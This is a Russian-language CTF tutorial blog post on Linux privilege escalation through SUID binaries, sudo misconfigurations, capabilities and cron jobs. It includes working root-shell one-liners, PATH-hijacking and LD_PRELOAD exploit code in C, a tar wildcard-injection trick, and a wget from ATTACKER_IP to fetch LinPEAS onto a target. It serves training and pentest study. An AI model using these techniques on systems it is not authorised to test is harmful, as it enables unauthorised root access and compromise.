Главная / Блог / Повышение привилегий Linux: SUID и sudo на CTF

12 мин.00

Повышение привилегий Linux: SUID и sudo на CTF

Повышение привилегий Linux: SUID и sudo на CTF

На Easy-машине HackTheBox я потратил 40 минут на initial shell через SQL-инъекцию в веб-форме — и ровно 90 секунд на root. Бинарь /usr/bin/find с установленным SUID-битом, одна команда с -exec, root shell в терминале. И это не аномалия: большинство CTF-машин уровня Easy-Medium решаются через misconfigured SUID-бинари или кривые записи в sudoers. По классификации MITRE ATT&CK — техники Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003), два самых частых вектора повышения привилегий Linux после получения первого shell. Ниже — пошаговая методология от энумерации до root с разбором каждого шага.

Как устроен SUID бит Linux и почему он опасен

SUID (Set User ID) — специальный бит прав доступа, который заставляет ядро Linux запускать бинарный файл не от имени текущего пользователя, а от имени владельца файла. Когда владелец — root, любой пользователь системы выполняет бинарь с привилегиями суперпользователя на время работы процесса. В строке прав доступа SUID отображается как s в позиции execute для владельца: -rwsr-xr-x. Подробнее — в нашем статье о linux для пентестера.

Установка SUID-бита — два эквивалентных способа: chmod u+s файл (символьная форма) или chmod 4755 файл (числовая). Четвёрка в начале — собственно SUID. Оставшиеся 755 задают стандартные права: владелец rwx (7), группа и остальные r-x (5). Рядом живут SGID (2 — запуск от группы владельца) и Sticky Bit (1 — ограничение удаления файлов в директории, классический /tmp). Комбинации суммируются: chmod 6755 установит одновременно SUID и SGID.

Легитимный пример — утилита /usr/bin/passwd. Обычный пользователь должен менять свой пароль, но файл /etc/shadow с хэшами доступен только root. SUID на passwd решает задачу: бинарь работает от root, проверяет старый пароль и записывает новый хэш. Проблема начинается, когда SUID оказывается на бинаре, способном вызвать shell или записать произвольный файл — find, vim, python, cp, bash. Граница между непривилегированным пользователем и root в этот момент просто испаряется.

Деталь для CTF: если SUID установлен, но execute-бит отсутствует, в строке прав появляется заглавная S вместо строчной s (-rwSr-xr-x). Бинарь нельзя запустить — SUID не сработает. На CTF-машинах такое встречается как ложный след, не тратьте на него время.

Энумерация после получения shell

Повышение привилегий Linux на 80% состоит из энумерации и на 20% — из эксплуатации. Без системного сбора информации можно часами перебирать kernel-эксплойты, когда root-доступ лежит в выводе sudo -l.

Ручная разведка системы

Первая команда — id. Покажет UID, GID и группы текущего пользователя. Членство в группах docker, lxd, disk или adm — самостоятельные вектора эскалации, не связанные с SUID. Группа docker, например, позволяет монтировать хостовую файловую систему внутрь контейнера и редактировать /etc/shadow напрямую. Вторая — uname -a для версии ядра (T1082). Третья — cat /etc/os-release для точного дистрибутива, что критично при подборе kernel-эксплойтов.

Дальше — проверка прав к критическим файлам. ls -la /etc/shadow — доступен ли shadow на чтение? Если да — копируем хэш root и прогоняем через John the Ripper на атакующей машине. ls -la /etc/passwd — доступна ли запись? Если да — добавляем пользователя с UID 0 напрямую.

Центральный шаг — поиск SUID бинарников (T1083):

$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd          # стандартный, не интересен
/usr/bin/sudo            # стандартный
/usr/bin/mount           # стандартный
/usr/bin/find            # НЕСТАНДАРТНЫЙ — проверяем GTFOBins
/usr/bin/vim.basic       # НЕСТАНДАРТНЫЙ — редактор с SUID
/opt/status-checker      # КАСТОМНЫЙ — исследуем strings

Ключевой навык — отличать стандартные SUID-бинари от аномальных. Набор /usr/bin/passwd, /usr/bin/mount, /usr/bin/su, /usr/bin/sudo, /usr/bin/chfn, /usr/bin/newgrp присутствует на каждой Linux-системе по умолчанию и не интересен (если версии актуальные). Всё за пределами этого набора — потенциальный вектор. Кастомные бинари в /opt или /home — первоочередная цель.

Параллельно — sudo -l. Выведет список команд, разрешённых через sudo для текущего пользователя. Если shell получен от www-data или аналогичного сервисного аккаунта без пароля, sudo обычно недоступен. Но проверить стоит всегда: я встречал машины, где www-data имел NOPASSWD на конкретный бинарь.

LinPEAS и автоматизированный поиск уязвимостей

Ручная энумерация даёт контроль и понимание, но автоматизированные скрипты страхуют от пропуска. LinPEAS — самый полный инструмент для этой задачи. Загрузка на целевую машину: поднимаем python3 -m http.server 8000 на атакующем хосте, затем wget http://ATTACKER_IP:8000/linpeas.sh на цели. Запуск: chmod +x linpeas.sh && ./linpeas.sh. Скрипт подсвечивает результаты цветом: красный и жёлтый — высокая вероятность эскалации, зелёный — информационно. В секции SUID LinPEAS автоматически сверяет найденные бинари с базой GTFOBins и помечает эксплуатируемые.

Менее раскрученный инструмент — suid3num. Фокусируется исключительно на SUID/SGID-файлах: классифицирует их на стандартные, известные эксплуатируемые и кастомные, требующие ручного анализа. На CTF suid3num часто эффективнее полного прогона LinPEAS, когда нужна быстрая проверка именно этого вектора.

LinEnum — альтернатива с более компактным выводом. Обновляется реже, но для базовой энумерации хватает. Выбор — дело привычки.

Перед загрузкой скриптов убедитесь, что shell полноценный. Если терминал ограничен — создайте интерактивный TTY: python3 -c 'import pty;pty.spawn("/bin/bash")' или script -qc /bin/bash /dev/null. Без TTY многие команды (включая sudo -l) не отработают корректно.

Эксплуатация SUID бинарников на CTF-машинах

Обнаружили нестандартный SUID — дальше зависит от того, стандартный это бинарь из GTFOBins или кастомный файл от создателя машины.

GTFOBins и стандартные SUID-вектора

GTFOBins (gtfobins.github.io) — справочник Unix-бинарей, которые можно использовать для обхода ограничений безопасности. Для каждого бинаря указаны способы злоупотребления через SUID, sudo, capabilities, file read и file write. На CTF это первый ресурс после обнаружения нестандартного SUID.

Самые частые SUID-вектора на CTF-машинах:

find — классика жанра. Команда find . -exec /bin/bash -p \; -quit порождает root shell. Флаг -p критически важен: без него bash сбрасывает effective UID обратно к реальному, и SUID не срабатывает. -quit завершает find после первого результата — без него получите кучу shell'ов.

bash — самый прямой путь. /bin/bash -p при SUID на bash даёт root немедленно. Проще некуда.

vim/vi — через :!/bin/bash из командного режима или :set shell=/bin/bash с последующей :shell. Редактор с SUID — это полный root-доступ к файловой системе и командной строке.

python/python3 — если интерпретатор имеет SUID: python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'. Аналогично работают perl и ruby.

cp — shell напрямую не даёт, зато позволяет перезаписать любой файл от root. Три варианта: добавить пользователя с UID 0 в /etc/passwd; заменить /etc/shadow файлом с известным хэшем; клонировать bash с SUID — cp /bin/bash /tmp/rootbash, затем chmod +s /tmp/rootbash (если cp тоже с SUID). Хэш пароля генерируем на атакующей машине: openssl passwd -6 password123.

nano — открываем /etc/passwd через nano /etc/passwd и добавляем строку hacker:$HASH:0:0:root:/root:/bin/bash, где $HASH — хэш из openssl. Сохраняем, переключаемся через su hacker.

Список эксплуатируемых бинарей в GTFOBins — сотни позиций. Каждый из них может породить root shell при наличии SUID-бита.

PATH Hijacking через кастомный SUID-бинарь

На машинах средней сложности встречаются кастомные SUID-бинари в /opt или /usr/local/bin. Их нет в GTFOBins, но они могут быть уязвимы к PATH hijacking — подмене вызываемой команды через манипуляцию переменной окружения PATH.

Методика: запускаем strings /opt/custom-binary и ищем вызовы внешних команд без абсолютного пути. Если бинарь вызывает service, curl, date без полного пути (service вместо /usr/sbin/service) — мы подставляем свой исполняемый файл:

// exploit.c — подмена вызываемой команды
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
// gcc exploit.c -o service
// export PATH=/tmp:$PATH
// /opt/custom-binary → root shell

Допустим, strings показал вызов service apache2 status. Компилируем exploit.c в файл с именем service, кладём в /tmp, добавляем /tmp в начало PATH через export PATH=/tmp:$PATH. Это generic-техника PATH hijacking — работает для любого относительного вызова внутри SUID-программы. При запуске SUID-бинаря система находит наш service раньше настоящего и выполняет его от root.

Вектор не сработает, если бинарь использует абсолютные пути. glibc dynamic linker в secure-execution mode (при setuid) очищает опасные переменные окружения (LD_PRELOAD, LD_LIBRARY_PATH и др.) — стандартное поведение ld.so на всех современных Linux-системах. Но PATH к очищаемым переменным (unsecvars) не относится — вот за это и цепляемся.

Если strings не показал очевидных вызовов — strace /opt/custom-binary 2>&1 | grep "No such file". Это выявит попытки загрузить .so-файлы из несуществующих путей. Если путь к отсутствующей библиотеке доступен для записи текущему пользователю — создаём вредоносный shared object с функцией-конструктором, которая породит shell. Дополнительно ltrace покажет вызовы библиотечных функций: на одной машине я обнаружил через ltrace вызов system("cat /var/log/status"), невидимый через strings, потому что строка формировалась динамически. Так что не ленитесь — прогоняйте оба инструмента.

Sudo -l: эксплуатация некорректных sudoers

Вывод sudo -l — второй по приоритету вектор после SUID (T1548.003). Он показывает, какие команды текущий пользователь может выполнять через sudo и на каких условиях.

Типичные записи, открывающие путь к root: (root) NOPASSWD: /usr/bin/find — find запускается от root без пароля, эксплуатация мгновенная через sudo find . -exec /bin/bash \; -quit. Запись (root) NOPASSWD: /usr/bin/envsudo env /bin/bash. Wildcard в пути — отдельный подарок: (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py даёт возможность создать /opt/scripts/exploit.py с содержимым import os; os.system("/bin/bash") и запустить через sudo.

Для каждого бинаря, разрешённого в sudo, проверяем раздел «Sudo» на GTFOBins. Интерпретаторы (python, perl, ruby), редакторы (vim, nano, less, more), файловые утилиты (cp, mv, find) и сетевые инструменты (nmap, tcpdump) — все имеют задокументированные пути к shell через sudo. Флаг -p при sudo не нужен: sudo уже предоставляет root-контекст.

Отдельно — sudo --version. Устаревшие версии содержат известные уязвимости обхода ограничений sudoers. Поиск эксплойтов: searchsploit sudo на атакующей машине.

LD_PRELOAD и LD_LIBRARY_PATH через sudo

Если sudo -l содержит строку env_keep += LD_PRELOAD или env_keep += LD_LIBRARY_PATH — это один из самых надёжных векторов. Эти переменные окружения позволяют загрузить произвольную shared library до запуска целевой программы:

// preload.c — порождает root shell до main()
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
// gcc -fPIC -shared -nostartfiles -o /tmp/pe.so preload.c
// sudo LD_PRELOAD=/tmp/pe.so /usr/bin/apache2

Компилируем shared object, указываем его в LD_PRELOAD и запускаем любую программу из списка sudo. Функция _init() выполнится до main() целевой программы. Вызов unsetenv("LD_PRELOAD") предотвращает рекурсивную загрузку.

Для LD_LIBRARY_PATH принцип аналогичен: через ldd /usr/bin/apache2 узнаём подключаемые .so-файлы, создаём вредоносную библиотеку с именем одной из них и помещаем в указанную директорию.

Предусловие: строка env_keep должна явно содержать эти переменные. В дефолтных конфигурациях Ubuntu 22.04+, Debian 12+ LD_PRELOAD сбрасывается при sudo. На CTF-машинах мискофигурацию выставляют намеренно.

Capabilities — невидимый вектор эскалации привилегий

Linux capabilities — механизм гранулярной раздачи привилегий, альтернатива полному SUID. Вместо root-доступа бинарю назначается конкретная capability: CAP_NET_BIND_SERVICE для привилегированных портов, CAP_DAC_OVERRIDE для обхода проверок прав доступа, CAP_SETUID для смены UID процесса.

CAP_SETUID — функциональный эквивалент SUID-бита, но невидимый через ls -la. Обнаруживается только через getcap -r / 2>/dev/null. Вывод /usr/bin/python3.10 = cap_setuid+ep означает, что python3 может менять UID — и через python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' получаем root shell.

На CTF capabilities встречаются реже SUID — именно поэтому многие участники их пропускают. Добавьте getcap -r / 2>/dev/null в свой чек-лист: десять секунд, которые экономят час блуждания по ложным следам.

GTFOBins покрывает capabilities для большинства стандартных бинарей — ищите раздел «Capabilities» на странице конкретной утилиты.

Cron-задачи и wildcard-инъекция в tar

Cron-задачи, запускаемые от root — ещё один частый вектор на CTF-машинах. Проверяем: cat /etc/crontab, содержимое /etc/cron.d/, директорию /var/spool/cron/crontabs/, а также systemctl list-timers для systemd-таймеров.

Два основных сценария эксплуатации:

Перезаписываемый скрипт. Cron запускает от root скрипт, доступный на запись текущему пользователю — заменяем содержимое на chmod +s /bin/bash или reverse shell. После следующего срабатывания — root. На CTF расписание обычно настроено на каждые 1-5 минут.

Wildcard-инъекция в tar. Если задача содержит tar czf /backup/archive.tar.gz * в определённой директории, у tar есть ключи --checkpoint и --checkpoint-action, которые позволяют выполнить произвольную команду. В целевой директории создаём файлы, чьи имена tar интерпретирует как аргументы при раскрытии wildcard * оболочкой: touch './--checkpoint=1' и touch './--checkpoint-action=exec=sh exploit.sh' (каждый touch создаёт файл на диске с соответствующим именем — пробел является частью имени файла). Файл exploit.sh содержит reverse shell или chmod +s /bin/bash. Техника задокументирована в разделе shell на странице tar в GTFOBins. При обработке wildcard * tar примет имена файлов за собственные ключи — и выполнит скрипт от root.

После создания файлов запускаем nc -lvnp 4444 на атакующей машине (если в exploit.sh reverse shell) и ждём срабатывания cron.

Чек-лист повышения привилегий Linux для CTF

Систематический подход экономит время. Порядок проверок, отсортированный по вероятности успеха на CTF-машинах:

Приоритет Что проверяем Команда На что смотреть
1 Текущий контекст id, whoami Группы docker, lxd, disk, adm
2 Sudo права sudo -l NOPASSWD, env_keep, wildcard в путях
3 SUID бинари find / -perm -4000 -type f 2>/dev/null Нестандартные и кастомные бинари
4 Capabilities getcap -r / 2>/dev/null CAP_SETUID, CAP_DAC_OVERRIDE
5 Cron-задачи cat /etc/crontab, ls -la /etc/cron.d/ Скрипты от root, доступные на запись
6 Версия ядра uname -a, cat /etc/os-release Известные CVE для конкретной версии
7 Пароли в файлах grep -rli "password" /home /var/www 2>/dev/null Credentials в конфигах и истории
8 Права на shadow и passwd ls -la /etc/shadow /etc/passwd Чтение shadow, запись в passwd
9 NFS с no_root_squash cat /etc/exports Шары с no_root_squash
10 Сервисы от root ps aux \| grep root MySQL, Docker, Apache от root

После ручной проверки первых четырёх пунктов запускаем LinPEAS для полного сканирования. Не наоборот: ручная проверка учит распознавать вектора, автоматизация страхует от пропуска.

Для полноты картины в терминах MITRE ATT&CK: энумерация — фаза Discovery (T1082 System Information Discovery, T1083 File and Directory Discovery, T1033 System Owner/User Discovery), эксплуатация — Privilege Escalation (T1548.001 Setuid and Setgid, T1548.003 Sudo and Sudo Caching, T1068 Exploitation for Privilege Escalation). Знание маппинга полезно не только для отчётов — оно структурирует мышление при подходе к новой машине.

За три года решения CTF-машин я вывел правило: если root не найден за 20 минут ручной энумерации — запускаю LinPEAS и перечитываю вывод с фильтром по красным и жёлтым маркерам. В девяти случаях из десяти ответ был на экране, просто глаз замылился. Ещё наблюдение: CTF формирует привычку искать один конкретный вектор, заложенный создателем машины. На реальном пентесте векторов может быть пять одновременно, и задача — задокументировать все, а не останавливаться на первом сработавшем. Эта разница в мышлении — граница между CTF-игроком и пентестером. Чтобы её пересечь, стоит после получения root возвращаться к энумерации и искать альтернативные пути. Это неудобно, ломает дофаминовый цикл «сдал флаг — следующая машина», но формирует профессиональную методологию. На WAPT эту цепочку проходят в течение двух модулей с лабами — от одиночного вектора к полному покрытию поверхности атаки.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

SQL-инъекция в CTF: от поиска до sqlmap

12 мин.

5

SQL-инъекция в CTF: от поиска до sqlmap

Пошаговый разбор эксплуатации SQL-инъекций в CTF: UNION, blind, error-based техники с реальными payload'ами и автоматизация через sqlmap с tamper-скриптами

4 СЕНТЯБРЬ, 2026

Netcat и socat для CTF: подключения, шеллы и файлы

12 мин.

3

Netcat и socat для CTF: подключения, шеллы и файлы

Пошаговые команды netcat и socat для CTF: reverse shell, стабилизация TTY, передача файлов. Разбор каждого флага и типичных ошибок новичков.

3 СЕНТЯБРЬ, 2026

Криптография в CTF: ломаем RSA и классические шифры

12 мин.

11

Криптография в CTF: ломаем RSA и классические шифры

Разбираем 5 атак на RSA для CTF: кубический корень при e=3, Хастад, Винер, факторизация. Python-код, RsaCtfTool и чеклист решения задач.

3 СЕНТЯБРЬ, 2026